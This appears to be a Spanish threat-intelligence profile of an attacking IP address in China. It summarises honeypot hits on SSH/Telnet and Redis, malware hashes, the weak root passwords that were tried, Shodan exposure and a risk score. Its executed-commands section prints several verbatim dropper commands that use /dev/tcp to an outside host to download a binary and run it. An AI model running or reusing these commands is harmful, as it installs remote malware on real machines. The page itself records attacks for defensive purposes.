TROYANOSYVIRUS
Amenaza Activa • ALTO

182.40.34.54

Pais de Origen🇨🇳 China
Primera Deteccion15/4/2026
Ultima Actividad15/4/2026
ISPQingdao, Shandong Province, P.R.China.
🎯
351
Ataques Totales
🔌
2
Puertos
📡
2
Tipos Ataque
🦠
10
Malware

Geolocalizacion

Pais
🇨🇳 China
Ciudad
Desconocida
ASN
AS136195
ISP
Qingdao, Shandong Province, P.R.China.

Tipos de Ataque

ssh_telnet_honeypot
redis_honeypot

Puertos Atacados

226379

Malware Asociado

24a0d1c9d475268a4962...→769c807e378314d382cd...→87900f7875891fd1dea6...→8b8443ddc762690e517b...→95722dd353c5384efe69...→

Credenciales Intentadas

🔐root/123456
1x
🔐root/12345
1x
🔐root/12345678
1x
🔐root/password
1x

Comandos Ejecutados

$nohup bash -c "exec 6<>/dev/tcp/203.57.109.214/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/xCbIBlK93Q && chmod +x /tmp/xCbIBlK93Q && /tmp/xCbIBlK93Q +lfc2gVGXQHE30eClUXf3gxeWAfb2leKg0XA3gZGWwLE20OBjUff2A5IWgbZwEKMlUbe0xhaWQLQ2EeKikMNIaxHuwVtja1CVraTnw==" &1x
$nohup bash -c "exec 6<>/dev/tcp/203.57.109.214/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/DJI5vFODGD && chmod +x /tmp/DJI5vFODGD && /tmp/DJI5vFODGD Ibg4Jb8EuOFinfGmsfOdeOy7Gr0kPrhRWKokIbwEvuJimfWlqfGdfu6tGLwmJK1XTqk6LKIYvOJ2mvGurvXQjt+2GKBexiiizELdDQ5kENOKlKPVFrCjuw==" &1x
$head -c 1458464 > /tmp/AzLtUaFZJ51x
$nohup bash -c "exec 6<>/dev/tcp/203.57.109.214/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/mD5IsvQrKN && chmod +x /tmp/mD5IsvQrKN && /tmp/mD5IsvQrKN CwbGSHa8dA0uC3Gra0rFEnB8FsVJcbJwAjIUdaJrS8AIf34cwkh0oHkaMgpyvHBP2hd6cwjGSXGodwoxC3XCFQKpspm8ERkr/Qv30fYziG18" &1x
$nohup bash -c "exec 6<>/dev/tcp/203.57.109.214/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/F08KYSmvb4 && chmod +x /tmp/F08KYSmvb4 && /tmp/F08KYSmvb4 FD/VrqjXVgeiqTN1Ln4yrLYGU8iqqscubWcx0661ylceuaw5ejB9MaCsAlPKtavQMWRlJsmsqs1ZBrypMnjoyt/GXlaKB5wJ4aZM6uKREDfpr8VYONW9sqs=" &1x
$nohup bash -c "exec 6<>/dev/tcp/203.57.109.214/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/jJGmHUe0c6 && chmod +x /tmp/jJGmHUe0c6 && /tmp/jJGmHUe0c6 Pw8P/dteL8bRxarmHf3V0PUF76vFy9ErSNrjCR9QTRsT+NxKLMHOxqL/Af/XyvoE8avExt8oQdz3Cx9PTxs++00DObo8wixV0m0MqQ7qZj+ySKHTMybK0c5w1EDbxQ==" &1x
$nohup bash -c "exec 6<>/dev/tcp/203.57.109.214/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/FHsG8diHwg && chmod +x /tmp/FHsG8diHwg && /tmp/FHsG8diHwg d9xG7zPxQcsYB8xN8TLuQMYABs1F6yDuTM4YAsxa7DTxQcgMAMxF7Tj/RswFGMlD8THvTdIEB8hO6TDuRcioDUQUncsw8Z5dVA==" &1x
$nohup bash -c "exec 6<>/dev/tcp/203.57.109.214/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/GMMip4gt8p && chmod +x /tmp/GMMip4gt8p && /tmp/GMMip4gt8p 87JgV6BpkkidhoeKUZV2p11kooODpnJWq3WJS4OZhIdRknOpUWKjgIqyYFegaZJInYaHilGVdqddZKKDg6bwaUbBBG00G+lB9lpkkyqXphT7QiYy" &1x
$cat /bin/echo1x
$nohup bash -c "exec 6<>/dev/tcp/203.57.109.214/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/JVwgnqh5B8 && chmod +x /tmp/JVwgnqh5B8 && /tmp/JVwgnqh5B8 PXynYlI0wICEMZqO2yhQZq9qQEFtoXJQIseZnjCEhME0VGavakBBbq1yUyrGmZ83hIbFI09gpGhKRmykY1Ucl6UDb6aiTUUJ7/pXvA5RMMtswdI=" &1x

Exposicion segun Shodan InternetDBShodan

Datos de InternetDB, actualizacion no en tiempo real

Puertos
6379666670017777
CPEs
cpe:/a:redislabs:rediscpe:/a:gitlab:gitlabcpe:/a:f5:nginx

Evaluacion de Riesgo

65
/100
BajoMedioAltoCritico